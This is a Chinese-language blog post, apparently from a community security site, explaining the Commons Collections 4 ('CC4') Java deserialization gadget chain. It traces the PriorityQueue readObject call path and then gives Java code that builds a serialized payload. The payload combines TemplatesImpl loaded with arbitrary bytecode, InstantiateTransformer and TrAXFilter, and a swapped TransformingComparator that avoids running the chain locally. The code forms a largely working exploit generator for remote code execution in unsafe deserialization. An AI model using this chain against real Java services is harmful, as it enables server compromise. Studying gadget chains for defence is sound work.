CC4
  fJTX3vtGfGoC 2023年11月01日 97 0

0x00前言

在前面的cc链的利用被提出利用的时候,当时就出现了两个分支版本分别修复了漏洞就是我们所熟知的commons-collections4,然后就有了这条cc链4的利用

0x01分析

我们看一下这两个包有什么区别,这是两个依赖导入

 <dependency>
            <groupId>org.apache.commons</groupId>
            <artifactId>commons-collections4</artifactId>
            <version>4.0</version>
        </dependency>
     

还是导入嘛然后去ys看一下利用链子吧学会自己分析

image-20221106160711810

从这里就可以知道它是用InstantiateTransformet,就是用的那个类加载机制去利用这个链子

还是细致的跟一下这个链子,就是简单调试

实在优先队列的那个类里面 PriorityQueue调用了下去的,然后在它的readObject方法调用的

在readObeject里面去调用了heapify()

image-20221106165031933

在heapify里面调用了siftDown

image-20221106165111478

然后继续调用siftDownUsingComparator

image-20221106165657870

调用进来

image-20221106165725613

这些其实都比较多余自己看跟一遍就懂了,链子上也没有写出来因为他们都在一个类里面还是readObject调用的,那就很简单了把命令执行的后半段黏上然后把这个

0x02开始构造链子

在代码执行那一块还是就跟cc链3一样吧照抄就行了

0x1代码执行部分

image-20221106170617167

public class CC4TEST {
    public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException {
        TemplatesImpl templates = new TemplatesImpl();
        Class<? extends TemplatesImpl> templatesClass = templates.getClass();
        Field _namefield = templatesClass.getDeclaredField("_name");
        _namefield.setAccessible(true);
        Field bytecodesField = templatesClass.getDeclaredField("_bytecodes");
        bytecodesField.setAccessible(true);
        _namefield.set(templates,"aaaaa");
        byte[] code = Files.readAllBytes(Paths.get("C://test.class"));
        byte[][] codes={code};
        bytecodesField.set(templates,codes);
        Field tfactory = templatesClass.getDeclaredField("_tfactory");
        tfactory.setAccessible(true);
        tfactory.set(templates,new TransformerFactoryImpl());
//        templates.newTransformer();
        InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(TrAXFilter.class),
                instantiateTransformer
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        
    }

}

0x2compare部分

image-20221106170725745

image-20221106171919243

看到它的构造方法这个是我们可以传入的,直接把值传入就ok了

0x3readObject部分

image-20221106183559552

然后在把

PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);

这个值放到优先队列里面到这里逻辑就已经完成了中间应该还有一些小的tips需要我们需要注意的就是

tips1

image-20221106185652738

这里对消息队列的对象数组的又要求所以我们往里面随便加两个值就好了就add(1),add(2)就好了

tips2

就是在我i们使用add方法时候会调用到ompare方法然后就会调用到transform方法这样会导致在本地就会调用到这个方法

所以我们就用跟URL链子一样的方法先随便传一个值到Comparator里面然后在add完后在把Comparator里面的值改回来,然后至此这条链子的所有问题都解决了

ublic class CC4TEST {
    public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {
        TemplatesImpl templates = new TemplatesImpl();
        Class<? extends TemplatesImpl> templatesClass = templates.getClass();
        Field _namefield = templatesClass.getDeclaredField("_name");
        _namefield.setAccessible(true);
        Field bytecodesField = templatesClass.getDeclaredField("_bytecodes");
        bytecodesField.setAccessible(true);
        _namefield.set(templates,"aaaaa");
        byte[] code = Files.readAllBytes(Paths.get("C:\\Users\\White_room\\IdeaProjects\\cclink4\\target\\classes\\com\\example\\cclink4\\CCTest\\test.class"));
        byte[][] codes={code};
        bytecodesField.set(templates,codes);
//        Field tfactory = templatesClass.getDeclaredField("_tfactory");
//        tfactory.setAccessible(true);
//        tfactory.set(templates,new TransformerFactoryImpl());
//        templates.newTransformer();
        InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(TrAXFilter.class),
                instantiateTransformer
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        TransformingComparator transformingComparator = new TransformingComparator<>(new ConstantTransformer<>(1));
        PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);
        priorityQueue.add(1);
        priorityQueue.add(2);
        Field transformer = transformingComparator.getClass().getDeclaredField("transformer");
        transformer.setAccessible(true);
        transformer.set(transformingComparator,chainedTransformer);
        serialize(priorityQueue);
        unseriallize("src.bin");


    }
【版权声明】本文内容来自摩杜云社区用户原创、第三方投稿、转载,内容版权归原作者所有。本网站的目的在于传递更多信息,不拥有版权,亦不承担相应法律责任。如果您发现本社区中有涉嫌抄袭的内容,欢迎发送邮件进行举报,并提供相关证据,一经查实,本社区将立刻删除涉嫌侵权内容,举报邮箱: cloudbbs@moduyun.com

  1. 分享:
最后一次编辑于 2023年11月08日 0

暂无评论

推荐阅读
  5NWiQFAVeqgX   2024年05月17日   32   0   0 网络安全
  pTtIhLb24H2d   2024年05月17日   34   0   0 网络安全
  OKgNPeBk991j   2024年05月18日   47   0   0 网络安全
  rKgO6TN7xbYO   2024年05月17日   38   0   0 网络安全
  5NWiQFAVeqgX   2024年05月17日   53   0   0 网络安全
  5NWiQFAVeqgX   2024年05月17日   36   0   0 网络安全
  YOkriIV1Am1d   2024年05月20日   39   0   0 网络安全
  owpmXY9hzjPv   2024年05月20日   37   0   0 网络安全
  owpmXY9hzjPv   2024年05月20日   40   0   0 网络安全
  owpmXY9hzjPv   2024年05月20日   34   0   0 网络安全